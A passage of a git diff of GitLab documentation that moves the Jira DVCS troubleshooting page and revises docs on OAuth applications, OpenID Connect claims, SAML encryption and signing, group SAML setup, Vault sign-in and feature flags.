public certificate authority, add the appropriate certificate - (such as your organization's root certificate) to the Java Truststore on Jira's server. - -Refer to Atlassian's documentation and Atlassian Support for assistance setting -up Jira correctly: - -- [Add a certificate](https://confluence.atlassian.com/kb/how-to-import-a-public-ssl-certificate-into-a-jvm-867025849.html) - to the trust store. - - The simplest approach is [`keytool`](https://docs.oracle.com/javase/8/docs/technotes/tools/unix/keytool.html). - - Add additional roots to Java's default Truststore (`cacerts`) to allow Jira to - also trust public certificate authorities. - - If the integration stops working after upgrading Jira's Java runtime, the - `cacerts` Truststore may have been replaced during the upgrade. - -- Troubleshoot connectivity [up to and including TLS handshaking](https://confluence.atlassian.com/kb/unable-to-connect-to-ssl-services-due-to-pkix-path-building-failed-error-779355358.html), - using the `SSLPoke` Java class. -- Download the class from Atlassian's knowledge base to a directory on Jira's server, such as `/tmp`. -- Use the same Java runtime as Jira. -- Pass all networking-related parameters that Jira is called with, such as proxy - settings or an alternative root Truststore (`-Djavax.net.ssl.trustStore`): - -```shell -${JAVA_HOME}/bin/java -Djavax.net.ssl.trustStore=/var/atlassian/application-data/jira/cacerts -classpath /tmp SSLPoke gitlab.example.com 443 -``` - -The message `Successfully connected` indicates a successful TLS handshake. - -If there are problems, the Java TLS library generates errors that you can -look up for more detail. - -### Scope error when connecting to Jira using DVCS - -```plaintext -The requested scope is invalid, unknown, or malformed. -``` - -Potential resolutions: - -1. Verify that the URL shown in the browser after being redirected from Jira in the - [Jira DVCS connector setup](#configure-jira-for-dvcs) includes `scope=api` in - the query string. -1. If `scope=api` is missing from the URL, edit the - [GitLab account configuration](#configure-a-gitlab-application-for-dvcs). Review - the **Scopes** field and ensure the `api` checkbox is selected. - -### Jira error adding account and no repositories listed - -After you complete the **Add New Account** form in Jira and authorize access, you might -encounter these issues: - -- An `Error! Failed adding the account: [Error retrieving list of repositories]` error. -- An `Account is already integrated with JIRA` error when you select **Try Again**. -- An account is visible in the DVCS accounts view, but no repositories are listed. - -To resolve this issue: - -- If you're using GitLab Free, ensure you're using GitLab 13.4 or later. -- If you're using GitLab versions 11.10-12.7, upgrade to GitLab 12.8.10 or later - to resolve [an identified issue](https://gitlab.com/gitlab-org/gitlab/-/issues/37012). - -[Contact GitLab Support](https://about.gitlab.com/support/) if none of these reasons apply. - -### `410 : Gone` error when connecting to Jira - -When you connect to Jira and synchronize repositories, you may receive a `410 : Gone` error. - -This issue occurs when you use the Jira DVCS connector and your integration is configured to use **GitHub Enterprise**. - -For more information and possible fixes, see [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/340160). - -### Synchronization issues - -If Jira displays incorrect information, such as deleted branches, you may have to -resynchronize the information: - -1. In Jira, select **Jira Administration > Applications > DVCS accounts**. -1. For the account (group or subgroup), select - **Refresh repositories** from the **{ellipsis_h}** (ellipsis) menu. -1. For each project, next to the **Last activity** date: - - To perform a *soft resync*, select the sync icon. - - To complete a *full sync*, press `Shift` and select the sync icon. - -For more information, read -[Atlassian's documentation](https://support.atlassian.com/jira-cloud-administration/docs/integrate-with-development-tools/). - -### `Sync Failed` error when refreshing repository data - -If you get a `Sync Failed` error in Jira when [refreshing repository data](#refresh-data-imported-to-jira) for specific projects, check your DVCS connector logs. Look for errors that occur when executing requests to API resources in GitLab. For example: - -```plaintext -Failed to execute request [https://gitlab.com/api/v4/projects/:id/merge_requests?page=1&per_page=100 GET https://gitlab.com/api/v4/projects/:id/merge_requests?page=1&per_page=100 returned a response status of 403 Forbidden] errors: -{"message":"403 Forbidden"} -``` - -If you find a `{"message":"403 Forbidden"}` error, it is possible that this specific project has some [GitLab features disabled](../../user/project/settings/index.md#configure-project-visibility-features-and-permissions). -In the example above, the merge requests feature is disabled. - -To resolve the issue, enable the relevant feature: - -1. On the top bar, select **Main menu > Projects** and find your project. -1. On the left sidebar, select **Settings > General**. -1. Expand **Visibility, project features, permissions**. -1. Use the toggles to enable the features as needed. + column, select the icon. diff --git a/doc/integration/jira/dvcs/troubleshooting.md b/doc/integration/jira/dvcs/troubleshooting.md new file mode 100644 index 00000000000..e40c188c1c3 --- /dev/null +++ b/doc/integration/jira/dvcs/troubleshooting.md @@ -0,0 +1,149 @@ +--- +stage: Manage +group: Integrations +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments +--- + +# Troubleshooting Jira DVCS connector **(FREE)** + +Refer to the items in this section if you're having problems with your DVCS connector. + +## Jira cannot access GitLab server + +If you complete the **Add New Account** form, authorize access, and you receive +this error, Jira and GitLab cannot connect. No other error messages +appear in any logs: + +```plaintext +Error obtaining access token. Cannot access https://gitlab.example.com from Jira. +``` + +## SSL and TLS problems + +Problems with SSL and TLS can cause this error message: + +```plaintext +Error obtaining access token. Cannot access https://gitlab.example.com from Jira. +``` + +- The [GitLab Jira integration](../index.md) requires + GitLab to connect to Jira. Any TLS issues that arise from a private certificate + authority or self-signed certificate are resolved + [on the GitLab server](https://docs.gitlab.com/omnibus/settings/ssl.html#install-custom-public-certificates), + as GitLab is the TLS client. +- The Jira Development panel integration requires Jira to connect to GitLab, which + causes Jira to be the TLS client. If your GitLab server's certificate is not + issued by a public certificate authority, add the appropriate certificate + (such as your organization's root certificate) to the Java Truststore on Jira Server. + +For help with Jira setup, see the Atlassian documentation and Atlassian Support: + +- [Add a certificate](https://confluence.atlassian.com/kb/how-to-import-a-public-ssl-certificate-into-a-jvm-867025849.html) + to the trust store. + - The simplest approach is [`keytool`](https://docs.oracle.com/javase/8/docs/technotes/tools/unix/keytool.html). + - Add additional roots to Java's default Truststore (`cacerts`) to allow Jira to + also trust public certificate authorities. + - If the integration stops working after upgrading Jira Java runtime, the + `cacerts` Truststore may have been replaced during the upgrade. + +- Troubleshoot connectivity [up to and including TLS handshaking](https://confluence.atlassian.com/kb/unable-to-connect-to-ssl-services-due-to-pkix-path-building-failed-error-779355358.html), + using the `SSLPoke` Java class. +- Download the class from the Atlassian knowledge base to a directory on Jira Server, such as `/tmp`. +- Use the same Java runtime as Jira. +- Pass all networking-related parameters that Jira is called with, such as proxy + settings or an alternative root Truststore (`-Djavax.net.ssl.trustStore`): + +```shell +${JAVA_HOME}/bin/java -Djavax.net.ssl.trustStore=/var/atlassian/application-data/jira/cacerts -classpath /tmp SSLPoke gitlab.example.com 443 +``` + +The message `Successfully connected` indicates a successful TLS handshake. + +If there are problems, the Java TLS library generates errors that you can +look up for more detail. + +## Scope error when connecting to Jira using DVCS + +```plaintext +The requested scope is invalid, unknown, or malformed. +``` + +Potential resolutions: + +1. Verify that the URL shown in the browser after being redirected from Jira in the + [Jira DVCS connector setup](index.md#configure-jira-for-dvcs) includes `scope=api` in + the query string. +1. If `scope=api` is missing from the URL, edit the + [GitLab account configuration](index.md#configure-a-gitlab-application-for-dvcs). Review + the **Scopes** field and ensure the `api` checkbox is selected. + +## Jira error adding account and no repositories listed + +After you complete the **Add New Account** form in Jira and authorize access, you might +encounter these issues: + +- An `Error! Failed adding the account: [Error retrieving list of repositories]` error. +- An `Account is already integrated with JIRA` error when you select **Try Again**. +- An account is visible in the DVCS accounts view, but no repositories are listed. + +To resolve this issue: + +- If you're using GitLab Free, ensure you're using GitLab 13.4 or later. +- If you're using GitLab versions 11.10-12.7, upgrade to GitLab 12.8.10 or later + to resolve [an identified issue](https://gitlab.com/gitlab-org/gitlab/-/issues/37012). + +[Contact GitLab Support](https://about.gitlab.com/support/) if none of these reasons apply. + +## `410 : Gone` error when connecting to Jira + +When you connect to Jira and synchronize repositories, you may receive a `410 : Gone` error. + +This issue occurs when you use the Jira DVCS connector and your integration is configured to use **GitHub Enterprise**. + +For more information and possible fixes, see [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/340160). + +## Synchronization issues + +If Jira displays incorrect information, such as deleted branches, you may have to +resynchronize the information: + +1. In Jira, select **Jira Administration > Applications > DVCS accounts**. +1. For the account (group or subgroup), select + **Refresh repositories** from the **{ellipsis_h}** (ellipsis) menu. +1. For each project, next to the **Last activity** date: + - To perform a *soft resync*, select the sync icon. + - To complete a *full sync*, press `Shift` and select the sync icon. + +For more information, see the +[Atlassian documentation](https://support.atlassian.com/jira-cloud-administration/docs/integrate-with-development-tools/). + +## `Sync Failed` error when refreshing repository data + +If you get a `Sync Failed` error in Jira when [refreshing repository data](index.md#refresh-data-imported-to-jira) for specific projects, check your DVCS connector logs. Look for errors that occur when executing requests to API resources in GitLab. For example: + +```plaintext +Failed to execute request [https://gitlab.com/api/v4/projects/:id/merge_requests?page=1&per_page=100 GET https://gitlab.com/api/v4/projects/:id/merge_requests?page=1&per_page=100 returned a response status of 403 Forbidden] errors: +{"message":"403 Forbidden"} +``` + +If you find a `{"message":"403 Forbidden"}` error, it is possible that this specific project has some [GitLab features disabled](../../../user/project/settings/index.md#configure-project-visibility-features-and-permissions). +In the example above, the merge requests feature is disabled. + +To resolve the issue, enable the relevant feature: + +1. On the top bar, select **Main menu > Projects** and find your project. +1. On the left sidebar, select **Settings > General**. +1. Expand **Visibility, project features, permissions**. +1. Use the toggles to enable the features as needed. + +## Find webhook logs in a DVCS-linked project + +To find webhook logs in a DVCS-linked project: + +1. On the top bar, select **Main menu > Projects** and find your project. +1. On the left sidebar, select **Settings > Webhooks**. +1. Scroll down to **Project Hooks**. +1. Next to the log that points to your Jira instance, select **Edit**. +1. Scroll down to **Recent events**. + +If you can't find webhook logs in your project, check your DVCS setup for problems. diff --git a/doc/integration/jira/img/jira_dev_panel_manual_refresh.png b/doc/integration/jira/img/jira_dev_panel_manual_refresh.png Binary files differdeleted file mode 100644 index dc92d533bde..00000000000 --- a/doc/integration/jira/img/jira_dev_panel_manual_refresh.png +++ /dev/null diff --git a/doc/integration/oauth_provider.md b/doc/integration/oauth_provider.md index bedcbf23163..66ee278cdf5 100644 --- a/doc/integration/oauth_provider.md +++ b/doc/integration/oauth_provider.md @@ -6,17 +6,6 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Configure GitLab as an OAuth 2.0 authentication identity provider -This document describes how you can use GitLab as an OAuth 2.0 authentication identity provider. - -- OAuth 2 applications can be created and managed using the GitLab UI (described below) - or managed using the [Applications API](../api/applications.md). -- After an application is created, external services can manage access tokens using the - [OAuth 2 API](../api/oauth2.md). -- To allow users to sign in to GitLab using third-party OAuth 2 providers, see - [OmniAuth documentation](omniauth.md). - -## Introduction to OAuth - [OAuth 2](https://oauth.net/2/) provides to client applications a 'secure delegated access' to server resources on behalf of a resource owner. OAuth 2 allows authorization servers to issue access tokens to third-party clients with the approval @@ -33,49 +22,58 @@ to repositories without sharing user credentials to your GitLab.com account. GitLab supports several ways of adding a new OAuth 2 application to an instance: -- [User owned applications](#user-owned-applications) -- [Group owned applications](#group-owned-applications) -- [Instance-wide applications](#instance-wide-applications) +- [User owned applications](#create-a-user-owned-application) +- [Group owned applications](#create-a-group-owned-application) +- [Instance-wide applications](#create-an-instance-wide-application) The only difference between these methods is the [permission](../user/permissions.md) levels. The default callback URL is `https://your-gitlab.example.com/users/auth/gitlab/callback` (you can also use a non-SSL URL, but you should use SSL URLs). -## User owned applications +This document describes how you can use GitLab as an OAuth 2.0 authentication identity provider. + +- OAuth 2 applications can be created and managed using the GitLab UI (described below) + or managed using the [Applications API](../api/applications.md). +- After an application is created, external services can manage access tokens using the + [OAuth 2 API](../api/oauth2.md). +- To allow users to sign in to GitLab using third-party OAuth 2 providers, see + [OmniAuth documentation](omniauth.md). + +## Create a user-owned application To add a new application for your user: 1. In the top-right corner, select your avatar. 1. Select **Edit profile**. 1. On the left sidebar, select **Applications**. -1. Enter a **Name**, **Redirect URI** and OAuth 2 scopes as defined in [Authorized Applications](#authorized-applications). +1. Enter a **Name**, **Redirect URI** and OAuth 2 scopes as defined in [Authorized Applications](#view-all-authorized-applications). The **Redirect URI** is the URL where users are sent after they authorize with GitLab. 1. Select **Save application**. GitLab provides: - The OAuth 2 Client ID in the **Application ID** field. - The OAuth 2 Client Secret, accessible: - In the **Secret** field in GitLab 14.1 and earlier. - - Using the **Copy** button on the **Secret** field + - By selecting **Copy** in the **Secret** field [in GitLab 14.2 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/332844). -## Group owned applications +## Create a group-owned application > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/16227) in GitLab 13.11. To add a new application for a group: -1. Navigate to the desired group. +1. Go to the desired group. 1. On the left sidebar, select **Settings > Applications**. -1. Enter a **Name**, **Redirect URI** and OAuth 2 scopes as defined in [Authorized Applications](#authorized-applications). +1. Enter a **Name**, **Redirect URI** and OAuth 2 scopes as defined in [Authorized Applications](#view-all-authorized-applications). The **Redirect URI** is the URL where users are sent after they authorize with GitLab. 1. Select **Save application**. GitLab provides: - The OAuth 2 Client ID in the **Application ID** field. - The OAuth 2 Client Secret, accessible: - In the **Secret** field in GitLab 14.1 and earlier. - - Using the **Copy** button on the **Secret** field + - By selecting **Copy** in the **Secret** field [in GitLab 14.2 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/332844). -## Instance-wide applications +## Create an instance-wide application To create an application for your GitLab instance: @@ -86,22 +84,7 @@ To create an application for your GitLab instance: When creating application in the **Admin Area** , you can mark it as _trusted_. The user authorization step is automatically skipped for this application. -## Access token expiration - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/21745) in GitLab 14.3, with the ability to opt out. -> - Ability to opt-out of expiring access token [removed](https://gitlab.com/gitlab-org/gitlab/-/issues/340848) in GitLab 15.0. - -WARNING: -The ability to opt-out of expiring access tokens was [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/340848) -in GitLab 14.3 and [removed](https://gitlab.com/gitlab-org/gitlab/-/issues/340848) in 15.0. All -existing integrations must be updated to support access token refresh. - -Access tokens expire after two hours. Integrations that use access tokens must generate new ones at least every -two hours. - -When applications are deleted, all grants and tokens associated with the application are also deleted. - -## Authorized applications +## View all authorized applications To see all the application you've authorized with your GitLab credentials: @@ -128,12 +111,28 @@ application can perform. Available scopes are depicted in the following table. At any time you can revoke any access by selecting **Revoke**. +## Access token expiration + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/21745) in GitLab 14.3, with the ability to opt out. +> - Ability to opt-out of expiring access token [removed](https://gitlab.com/gitlab-org/gitlab/-/issues/340848) in GitLab 15.0. + +WARNING: +The ability to opt out of expiring access tokens was [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/340848) +in GitLab 14.3 and [removed](https://gitlab.com/gitlab-org/gitlab/-/issues/340848) in 15.0. All +existing integrations must be updated to support access token refresh. + +Access tokens expire after two hours. Integrations that use access tokens must generate new ones at least every +two hours. + +When applications are deleted, all grants and tokens associated with the application are also deleted. + ## Hashed OAuth application secrets -> Introduced in GitLab 15.4 [with a flag](../administration/feature_flags.md) named `hash_oauth_secrets`. Disabled by default. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/374588) in GitLab 15.4 [with a flag](../administration/feature_flags.md) named `hash_oauth_secrets`. Disabled by default. +> - [Enabled on GitLab.com](https://gitlab.com/gitlab-org/gitlab/-/issues/374588) in GitLab 15.8. FLAG: On self-managed GitLab, by default, this feature is not available. To make it available, ask an administrator to [enable the feature flag](../administration/feature_flags.md) named `hash_oauth_secrets`. -On GitLab.com, this feature is not available. +On GitLab.com, this feature is available. By default, OAuth application secrets are stored as plain text in the database. When enabled, OAuth application secrets are stored in the database in hashed format and are only available to users immediately after creating OAuth applications. diff --git a/doc/integration/openid_connect_provider.md b/doc/integration/openid_connect_provider.md index ad4cf195d7b..b0d85fae8c2 100644 --- a/doc/integration/openid_connect_provider.md +++ b/doc/integration/openid_connect_provider.md @@ -48,19 +48,20 @@ Similar URLs can be used for other GitLab instances. The following user information is shared with clients: -| Claim | Type | Description | -|:-----------------|:----------|:------------| -| `sub` | `string` | The ID of the user | -| `auth_time` | `integer` | The timestamp for the user's last authentication | -| `name` | `string` | The user's full name | -| `nickname` | `string` | The user's GitLab username | -| `email` | `string` | The user's email address<br>This is the user's *primary* email address if the application has access to the `email` claim and the user's *public* email address otherwise | -| `email_verified` | `boolean` | Whether the user's email address was verified | -| `website` | `string` | URL for the user's website | -| `profile` | `string` | URL for the user's GitLab profile | -| `picture` | `string` | URL for the user's GitLab avatar | -| `groups` | `array` | Paths for the groups the user is a member of, either directly or through an ancestor group. | -| `groups_direct` | `array` | Paths for the groups the user is a direct member of. | +| Claim | Type | Description | +|:---------------------|:----------|:------------| +| `sub` | `string` | The ID of the user | +| `auth_time` | `integer` | The timestamp for the user's last authentication | +| `name` | `string` | The user's full name | +| `nickname` | `string` | The user's GitLab username | +| `preferred_username` | `string` | The user's GitLab username | +| `email` | `string` | The user's email address<br>This is the user's *primary* email address if the application has access to the `email` claim and the user's *public* email address otherwise | +| `email_verified` | `boolean` | Whether the user's email address was verified | +| `website` | `string` | URL for the user's website | +| `profile` | `string` | URL for the user's GitLab profile | +| `picture` | `string` | URL for the user's GitLab avatar | +| `groups` | `array` | Paths for the groups the user is a member of, either directly or through an ancestor group. | +| `groups_direct` | `array` | Paths for the groups the user is a direct member of. | | `https://gitlab.org/claims/groups/owner` | `array` | Names of the groups the user is a direct member of with Owner role | | `https://gitlab.org/claims/groups/maintainer` | `array` | Names of the groups the user is a direct member of with Maintainer role | | `https://gitlab.org/claims/groups/developer` | `array` | Names of the groups the user is a direct member of with Developer role | diff --git a/doc/integration/recaptcha.md b/doc/integration/recaptcha.md index 93d859dd183..3a8ec271e27 100644 --- a/doc/integration/recaptcha.md +++ b/doc/integration/recaptcha.md @@ -1,6 +1,6 @@ --- -stage: Manage -group: Authentication and Authorization +stage: Data Science +group: Anti-Abuse info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- diff --git a/doc/integration/saml.md b/doc/integration/saml.md index 84879b7c4c7..c42807f33cd 100644 --- a/doc/integration/saml.md +++ b/doc/integration/saml.md @@ -200,6 +200,8 @@ You can configure GitLab to use multiple SAML IdPs if: - The `strategy_class` is explicitly set because it cannot be inferred from provider name. +[SAML Group Sync](../user/group/saml_sso/group_sync.md) does not support multiple IdPs. For more information, see [issue 386605](https://gitlab.com/gitlab-org/gitlab/-/issues/386605). + Example provider's configuration for installations from source: ```yaml @@ -726,9 +728,9 @@ This also sets the `username` attribute in your SAML Response to the username in ### Allow for clock drift -The clock of the Identity Provider may drift slightly ahead of your system clocks. -To allow for a small amount of clock drift, you can use `allowed_clock_drift` in -your settings. Its value must be given in a number (and/or fraction) of seconds. +The clock of the IdP may drift slightly ahead of your system clocks. +To allow for a small amount of clock drift, use `allowed_clock_drift` in +your settings. You must enter the parameter's value in a number and fraction of seconds. The value given is added to the current time at which the response is validated. ```yaml @@ -772,15 +774,20 @@ unchangeable. ## Assertion encryption (optional) -GitLab requires the use of TLS encryption with SAML 2.0, but in some cases there can be a -need for additional encryption of the assertions. +GitLab requires the use of TLS encryption with SAML 2.0. Sometimes, GitLab needs +additional assertion encryption. For example, if you: + +- Terminate TLS encryption early at a load balancer. +- Include sensitive details in assertions that you do not want appearing in logs. -This may be the case, for example, if you terminate TLS encryption early at a load -balancer and include sensitive details in assertions that you do not want appearing -in logs. Most organizations should not need additional encryption at this layer. +Most organizations should not need additional encryption at this layer. -The SAML integration supports EncryptedAssertion. You should define the private -key and the public certificate of your GitLab instance in the SAML settings. When you define the key and certificate, replace all line feeds in the key file with `\n`. This makes the key file one long string with no line feeds. +The SAML integration supports `EncryptedAssertion`. To encrypt your assertions, +define the private key and the public certificate of your GitLab instance in the +SAML settings. + +When you define the key and certificate, replace all line feeds in the key file with `\n`. +This makes the key file one long string with no line feeds. ```yaml args: { @@ -794,23 +801,24 @@ args: { } ``` -Your Identity Provider encrypts the assertion with the public certificate of GitLab. GitLab decrypts the EncryptedAssertion with its private key. +Your IdP encrypts the assertion with the public certificate of GitLab. +GitLab decrypts the `EncryptedAssertion` with its private key. NOTE: -This integration uses the `certificate` and `private_key` settings for both assertion encryption and request signing. +This integration uses the `certificate` and `private_key` settings for both +assertion encryption and request signing. ## Sign SAML authentication requests (optional) -Another optional configuration is to sign SAML authentication requests. GitLab -SAML Requests use the SAML redirect binding, so this isn't necessary (unlike the -SAML POST binding, where signing is required to prevent intermediaries from -tampering with the requests). +You can configure GitLab to sign SAML authentication requests. This configuration +is optional because GitLab SAML requests use the SAML redirect binding. -To sign, create a private key and public certificate pair for your -GitLab instance to use for SAML. The settings for signing can be set in the -`security` section of the configuration. +To implement signing: -For example: +1. Create a private key and public certificate pair for your GitLab instance to + use for SAML. +1. Configure the signing settings in the `security` section of the configuration. + For example: ```yaml args: { @@ -831,60 +839,57 @@ args: { } ``` -GitLab signs the request with the provided private key. GitLab includes the configured public x500 certificate in the metadata for your Identity Provider to validate the signature of the received request with. For more information on this option, see the [Ruby SAML gem documentation](https://github.com/onelogin/ruby-saml/tree/v1.7.0). The Ruby SAML gem is used by the [OmniAuth SAML gem](https://github.com/omniauth/omniauth-saml) to implement the client side of the SAML authentication. +GitLab then: + +- Signs the request with the provided private key. +- Includes the configured public x500 certificate in the metadata for your IdP + to validate the signature of the received request with. + +For more information on this option, see the +[Ruby SAML gem documentation](https://github.com/onelogin/ruby-saml/tree/v1.7.0). + +The Ruby SAML gem is used by the +[OmniAuth SAML gem](https://github.com/omniauth/omniauth-saml) to implement the +client side of the SAML authentication. + +NOTE: +The SAML redirect binding is different to the SAML POST binding. In the POST binding, +signing is required to prevent intermediaries from tampering with the requests. ## Password generation for users created through SAML -The [Generated passwords for users created through integrated authentication](../security/passwords_for_integrated_authentication_methods.md) guide provides an overview of how GitLab generates and sets passwords for users created via SAML. +GitLab [generates and sets passwords for users created through SAML](../security/passwords_for_integrated_authentication_methods.md). -Users authenticated with SSO or SAML must not use a password for Git operations over HTTPS. These users can do one of the following instead: +Users authenticated with SSO or SAML must not use a password for Git operations +over HTTPS. These users can instead: - Set up a [personal access token](../user/profile/personal_access_tokens.md). -- Use the [Git Credential Manager](../user/profile/account/two_factor_authentication.md#git-credential-manager) which securely authenticates using OAuth. +- Use the [Git Credential Manager](../user/profile/account/two_factor_authentication.md#git-credential-manager) + which securely authenticates using OAuth. ## Link SAML identity for an existing user A user can manually link their SAML identity to an existing GitLab account by following the steps in [Enable OmniAuth for an existing user](omniauth.md#enable-omniauth-for-an-existing-user). -## Group SAML on a self-managed GitLab instance **(PREMIUM SELF)** - -For information on the GitLab.com implementation, please see the [SAML SSO for GitLab.com groups page](../user/group/saml_sso). - -Group SAML SSO helps if you have to allow access via multiple SAML identity providers, but as a multi-tenant solution is less suited to cases where you administer your own GitLab instance. - -To proceed with configuring Group SAML SSO instead, enable the `group_saml` OmniAuth provider. This can be done from: - -- `gitlab.rb` for Omnibus GitLab installations. -- `gitlab/config/gitlab.yml` for source installations. - -### Self-managed instance group SAML limitations +## Configure group SAML SSO on a self-managed instance **(PREMIUM SELF)** -Group SAML on a self-managed instance is limited when compared to the recommended -[instance-wide SAML](../user/group/saml_sso/index.md). The recommended solution allows you to take advantage of: +Use group SAML SSO if you have to allow access through multiple SAML IdPs on your +self-managed instance. -- [LDAP compatibility](../administration/auth/ldap/index.md). -- [LDAP Group Sync](../user/group/access_and_permissions.md#manage-group-memberships-via-ldap). -- [Required groups](#required-groups). -- [Administrator groups](#administrator-groups). -- [Auditor groups](#auditor-groups). +To configure group SAML SSO: -For Omnibus installations: +1. [Configure GitLab with HTTPS](../install/installation.md#using-https). +1. Enable OmniAuth and the `group_saml` provider. -1. Make sure GitLab is - [configured with HTTPS](../install/installation.md#using-https). -1. Enable OmniAuth and the `group_saml` provider in `gitlab.rb`: + To do this for Omnibus GitLab installations, edit `gitlab.rb`: ```ruby gitlab_rails['omniauth_enabled'] = true gitlab_rails['omniauth_providers'] = [{ name: 'group_saml' }] ``` -For installations from source: - -1. Make sure GitLab is - [configured with HTTPS](../install/installation.md#using-https). -1. Enable OmniAuth and the `group_saml` provider in `gitlab/config/gitlab.yml`: + For installations from source, edit `gitlab/config/gitlab.yml`: ```yaml omniauth: @@ -893,25 +898,36 @@ For installations from source: - { name: 'group_saml' } ``` +As a multi-tenant solution, group SAML on a self-managed instance is limited compared +to the recommended [instance-wide SAML](../user/group/saml_sso/index.md). Use +instance-wide SAML to take advantage of: + +- [LDAP compatibility](../administration/auth/ldap/index.md). +- [LDAP Group Sync](../user/group/access_and_permissions.md#manage-group-memberships-via-ldap). +- [Required groups](#required-groups). +- [Administrator groups](#administrator-groups). +- [Auditor groups](#auditor-groups). + ## Additional configuration for SAML apps on your IdP -When configuring a SAML app on the IdP, your identity provider may require additional configuration, such as the following: +When configuring a SAML app on the IdP, your IdP may need additional configuration, +such as the following: | Field | Value | Notes | |-------|-------|-------| -| SAML profile | Web browser SSO profile | GitLab uses SAML to sign users in through their browser. No requests are made directly to the identity provider. | -| SAML request binding | HTTP Redirect | GitLab (the service provider) redirects users to your identity provider with a base64 encoded `SAMLRequest` HTTP parameter. | -| SAML response binding | HTTP POST | Specifies how the SAML token is sent by your identity provider. Includes the `SAMLResponse`, which a user's browser submits back to GitLab. | +| SAML profile | Web browser SSO profile | GitLab uses SAML to sign users in through their browser. No requests are made directly to the IdP. | +| SAML request binding | HTTP Redirect | GitLab (the SP) redirects users to your IdP with a base64 encoded `SAMLRequest` HTTP parameter. | +| SAML response binding | HTTP POST | Specifies how the SAML token is sent by your IdP. Includes the `SAMLResponse`, which a user's browser submits back to GitLab. | | Sign SAML response | Required | Prevents tampering. | -| X.509 certificate in response | Required | Signs the response and checks against the provided fingerprint. | -| Fingerprint algorithm | SHA-1 | GitLab uses a SHA-1 hash of the certificate to sign the SAML Response. | +| X.509 certificate in response | Required | Signs the response and checks the response against the provided fingerprint. | +| Fingerprint algorithm | SHA-1 | GitLab uses a SHA-1 hash of the certificate to sign the SAML Response. | | Signature algorithm | SHA-1/SHA-256/SHA-384/SHA-512 | Determines how a response is signed. Also known as the digest method, this can be specified in the SAML response. | | Encrypt SAML assertion | Optional | Uses TLS between your identity provider, the user's browser, and GitLab. | | Sign SAML assertion | Optional | Validates the integrity of a SAML assertion. When active, signs the whole response. | | Check SAML request signature | Optional | Checks the signature on the SAML response. | -| Default RelayState | Optional | Specifies the URL users should end up on after successfully signing in through SAML at your identity provider. | +| Default RelayState | Optional | Specifies the URL users should end up on after successfully signing in through SAML at your IdP. | | NameID format | Persistent | See [NameID format details](../user/group/saml_sso/index.md#nameid-format). | -| Additional URLs | Optional | May include the issuer (or identifier) or the assertion consumer service URL in other fields on some providers. | +| Additional URLs | Optional | May include the issuer, identifier, or assertion consumer service URL in other fields on some providers. | For example configurations, see the [notes on specific providers](#set-up-identity-providers). @@ -919,13 +935,13 @@ For example configurations, see the [notes on specific providers](#set-up-identi | Term | Description | |--------------------------------|-------------| -| Identity provider (IdP) | The service which manages your user identities, such as Okta or OneLogin. | -| Service provider (SP) | GitLab can be configured as a SAML 2.0 SP. | -| Assertion | A piece of information about a user's identity, such as their name or role. Also known as claims or attributes. | -| Single Sign-On (SSO) | Name of authentication scheme. | -| Assertion consumer service URL | The callback on GitLab where users are redirected after successfully authenticating with the identity provider. | -| Issuer | How GitLab identifies itself to the identity provider. Also known as a "Relying party trust identifier". | -| Certificate fingerprint | Used to confirm that communications over SAML are secure by checking that the server is signing communications with the correct certificate. Also known as a certificate thumbprint. | +| Identity provider (IdP) | The service that manages your user identities, such as Okta or OneLogin. | +| Service provider (SP) | Consumes assertions from a SAML IdP, such as Okta, to authenticate users. You can configure GitLab as a SAML 2.0 SP. | +| Assertion | A piece of information about a user's identity, such as their name or role. Also known as a claim or an attribute. | +| Single Sign-On (SSO) | Name of the authentication scheme. | +| Assertion consumer service URL | The callback on GitLab where users are redirected after successfully authenticating with the IdP. | +| Issuer | How GitLab identifies itself to the IdP. Also known as a "Relying party trust identifier". | +| Certificate fingerprint | Confirms that communications over SAML are secure by checking that the server is signing communications with the correct certificate. Also known as a certificate thumbprint. | ## Troubleshooting diff --git a/doc/integration/vault.md b/doc/integration/vault.md index 2226dc4cfd4..ddb21e68bf8 100644 --- a/doc/integration/vault.md +++ b/doc/integration/vault.md @@ -122,7 +122,7 @@ Otherwise, anyone with a public account can access your Vault instance.  -1. To allow Vault to sign in through GitLab, select **Authorize**. This redirects you back to your Vault UI as a signed-in user. +1. To allow Vault to sign in through GitLab, select **Authorize**. This redirects you back to your Vault UI as an authenticated user.  diff --git a/doc/operations/feature_flags.md b/doc/operations/feature_flags.md index fff2c8ffbf7..b6e200c3ec4 100644 --- a/doc/operations/feature_flags.md +++ b/doc/operations/feature_flags.md @@ -14,7 +14,7 @@ Feature flags help reduce risk, allowing you to do controlled testing, and separ delivery from customer launch. <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> -For an example of feature flags in action, see [GitLab for deploys, feature flags, and error tracking](https://www.youtube.com/embed/5tw2p6lwXxo). +For an example of feature flags in action, see [GitLab for deploys, feature flags, and error tracking](https://www.youtube.com/watch?v=5tw2p6lwXxo). NOTE: To contribute to the development of the GitLab product, view @@ -132,7 +132,7 @@ For example, set a value of 15% to enable the feature for 15% of authenticated u The rollout percentage can be from 0% to 100%. -Stickiness (consistent application behavior for the same user) is guaranteed for logged-in users, +Stickiness (consistent application behavior for the same user) is guaranteed for authenticated users, but not anonymous users. Note that [percent rollout](#percent-rollout) with a consistency based on **User IDs** has the same @@ -395,6 +395,9 @@ docker run \ | `UNLEASH_APP_NAME` | The name of the environment the application runs in. For more details, read [Get access credentials](#get-access-credentials). | | `UNLEASH_API_TOKEN` | Required to start the Unleash Proxy, but not used to connect to GitLab. Can be set to any value. | +There is a limitation when using the Unleash Proxy where each proxy instance can request flags only for the environment named in `UNLEASH_APP_NAME`. The Proxy sends +this to GitLab on behalf of the client, which means the client can't override it. + ## 